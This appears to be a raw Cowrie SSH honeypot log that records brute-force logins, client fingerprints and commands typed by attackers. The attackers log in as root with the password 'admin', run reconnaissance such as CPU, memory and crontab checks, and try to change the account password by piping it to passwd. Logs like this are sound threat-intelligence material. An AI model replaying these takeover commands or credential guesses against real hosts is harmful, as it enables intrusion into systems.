{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41358,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd17ebb220e8","protocol":"ssh","message":"New connection: 202.125.94.71:41358 (159.203.135.109:22) [session: bd17ebb220e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.944230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.949175Z","src_ip":"202.125.94.71","session":"bd17ebb220e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:26.212769Z","src_ip":"202.125.94.71","session":"bd17ebb220e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:27.297634Z","src_ip":"202.125.94.71","session":"bd17ebb220e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:28.563421Z","src_ip":"202.125.94.71","session":"bd17ebb220e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":42432,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc1e39c48809","protocol":"ssh","message":"New connection: 202.125.94.71:42432 (159.203.135.109:22) [session: dc1e39c48809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:28.812712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:28.817650Z","src_ip":"202.125.94.71","session":"dc1e39c48809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:29.076316Z","src_ip":"202.125.94.71","session":"dc1e39c48809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:30.138984Z","src_ip":"202.125.94.71","session":"dc1e39c48809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:31.399457Z","src_ip":"202.125.94.71","session":"dc1e39c48809","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:31.739573Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:31.743235Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.004285Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.561984Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\no2mOkjFcpOOR\\no2mOkjFcpOOR\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\no2mOkjFcpOOR\\no2mOkjFcpOOR\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.565191Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.568367Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.571367Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4718d85f647085f5389563866b21824841120240d5ad4f60f1d818dc5acee6e0","size":32,"shasum":"4718d85f647085f5389563866b21824841120240d5ad4f60f1d818dc5acee6e0","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/4718d85f647085f5389563866b21824841120240d5ad4f60f1d818dc5acee6e0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:32.833111Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.392693Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\no2mOkjFcpOOR\\no2mOkjFcpOOR\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\no2mOkjFcpOOR\\no2mOkjFcpOOR\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.396005Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ffccab45f6bf0548c80e3b23951c4ad2a509f5965c0c354edce8206a131ceda9","size":25,"shasum":"ffccab45f6bf0548c80e3b23951c4ad2a509f5965c0c354edce8206a131ceda9","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ffccab45f6bf0548c80e3b23951c4ad2a509f5965c0c354edce8206a131ceda9 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.656258Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":34335,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2be8f37f3c4","protocol":"ssh","message":"New connection: 185.71.233.73:34335 (10.17.0.5:22) [session: e2be8f37f3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.662568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.667362Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:33.920463Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:34.250980Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:34.254613Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:34.516093Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:34.588753Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.086848Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.090971Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.135208Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.352829Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.386117Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":34354,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c7d099c825","protocol":"ssh","message":"New connection: 185.71.233.73:34354 (159.203.135.109:22) [session: 14c7d099c825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.774740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.779636Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.910555Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.914359Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:35.918273Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.064962Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.181468Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.734722Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.737645Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.755525Z","src_ip":"185.71.233.73","session":"e2be8f37f3c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:36.997022Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.005566Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.518105Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.575284Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.579081Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.804273Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:37.845421Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:38.415878Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:38.419585Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:38.685627Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:39.080048Z","src_ip":"185.71.233.73","session":"14c7d099c825","protocol":"ssh"}
